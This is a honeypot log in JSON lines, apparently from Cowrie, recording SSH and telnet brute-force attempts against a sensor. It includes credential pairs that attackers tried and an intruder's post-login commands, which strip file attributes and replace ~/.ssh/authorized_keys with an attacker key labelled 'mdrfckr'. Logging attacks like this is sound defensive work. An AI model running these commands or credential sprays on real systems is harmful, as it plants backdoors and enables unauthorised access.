{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:34.403696Z","src_ip":"176.65.132.129","session":"a8317a9c5ebf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":36690,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bb0f20a094d","protocol":"telnet","message":"New connection: 64.227.82.147:36690 (159.203.135.109:23) [session: 0bb0f20a094d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:35.353854Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:35.492650Z","src_ip":"176.65.132.129","session":"a8317a9c5ebf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.0329372882843,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:35.929622Z","src_ip":"64.227.82.147","session":"21944a6bb288","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35318,"dst_ip":"10.17.0.5","dst_port":22,"session":"719e9cd118ce","protocol":"ssh","message":"New connection: 176.65.132.129:35318 (10.17.0.5:22) [session: 719e9cd118ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:37.438022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:37.442232Z","src_ip":"176.65.132.129","session":"719e9cd118ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:37.527812Z","src_ip":"176.65.132.129","session":"719e9cd118ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:37.791361Z","src_ip":"176.65.132.129","session":"719e9cd118ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.353599548339844,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:37.855281Z","src_ip":"38.54.119.93","session":"dffcc2ed806a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:39.026921Z","src_ip":"176.65.132.129","session":"719e9cd118ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35330,"dst_ip":"10.17.0.5","dst_port":22,"session":"90db9816f904","protocol":"ssh","message":"New connection: 176.65.132.129:35330 (10.17.0.5:22) [session: 90db9816f904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:40.921431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:40.929813Z","src_ip":"176.65.132.129","session":"90db9816f904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:41.010708Z","src_ip":"176.65.132.129","session":"90db9816f904","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":35700,"dst_ip":"10.17.0.5","dst_port":22,"session":"54650804680b","protocol":"ssh","message":"New connection: 198.98.56.227:35700 (10.17.0.5:22) [session: 54650804680b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:41.168058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:41.181429Z","src_ip":"198.98.56.227","session":"54650804680b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:41.316223Z","src_ip":"176.65.132.129","session":"90db9816f904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:41.402717Z","src_ip":"198.98.56.227","session":"54650804680b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:42.353232Z","src_ip":"198.98.56.227","session":"54650804680b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:42.401398Z","src_ip":"176.65.132.129","session":"90db9816f904","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:42.731947Z","src_ip":"198.98.56.227","session":"54650804680b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:42.735581Z","src_ip":"198.98.56.227","session":"54650804680b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:42.739701Z","src_ip":"198.98.56.227","session":"54650804680b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:42.798024Z","src_ip":"198.98.56.227","session":"54650804680b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:42.875995Z","src_ip":"198.98.56.227","session":"54650804680b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:42.880771Z","src_ip":"198.98.56.227","session":"54650804680b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:42.954181Z","src_ip":"198.98.56.227","session":"54650804680b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:42.959497Z","src_ip":"198.98.56.227","session":"54650804680b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":35892,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb4514c5060a","protocol":"ssh","message":"New connection: 198.98.56.227:35892 (10.17.0.5:22) [session: cb4514c5060a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:42.969044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:42.975061Z","src_ip":"198.98.56.227","session":"cb4514c5060a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:43.024549Z","src_ip":"198.98.56.227","session":"cb4514c5060a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:43.084699Z","src_ip":"198.98.56.227","session":"cb4514c5060a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00117635726929,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:43.440725Z","src_ip":"38.60.198.128","session":"17f1c91935c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.440692901611328,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:43.794424Z","src_ip":"64.227.82.147","session":"0bb0f20a094d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:44.107707Z","src_ip":"198.98.56.227","session":"cb4514c5060a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":35894,"dst_ip":"10.17.0.5","dst_port":22,"session":"af33916babac","protocol":"ssh","message":"New connection: 198.98.56.227:35894 (10.17.0.5:22) [session: af33916babac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:44.134943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:44.142493Z","src_ip":"198.98.56.227","session":"af33916babac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:44.170884Z","src_ip":"198.98.56.227","session":"af33916babac","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:44.241810Z","src_ip":"198.98.56.227","session":"af33916babac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:44.263184Z","src_ip":"198.98.56.227","session":"54650804680b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:44.268862Z","src_ip":"198.98.56.227","session":"af33916babac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35332,"dst_ip":"10.17.0.5","dst_port":22,"session":"2827803a101a","protocol":"ssh","message":"New connection: 176.65.132.129:35332 (10.17.0.5:22) [session: 2827803a101a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:44.393421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:44.398918Z","src_ip":"176.65.132.129","session":"2827803a101a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:44.481403Z","src_ip":"176.65.132.129","session":"2827803a101a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:44.727643Z","src_ip":"176.65.132.129","session":"2827803a101a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.25953388214111,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:44.972633Z","src_ip":"38.60.198.128","session":"9c22e78a3050","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:45.813742Z","src_ip":"176.65.132.129","session":"2827803a101a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46360,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e9dbe8c5c26","protocol":"telnet","message":"New connection: 38.60.198.128:46360 (159.203.135.109:23) [session: 5e9dbe8c5c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:47.189610Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52792,"dst_ip":"10.17.0.5","dst_port":22,"session":"906c72dde1d7","protocol":"ssh","message":"New connection: 176.65.132.129:52792 (10.17.0.5:22) [session: 906c72dde1d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:47.818763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:47.823750Z","src_ip":"176.65.132.129","session":"906c72dde1d7","protocol":"ssh"}
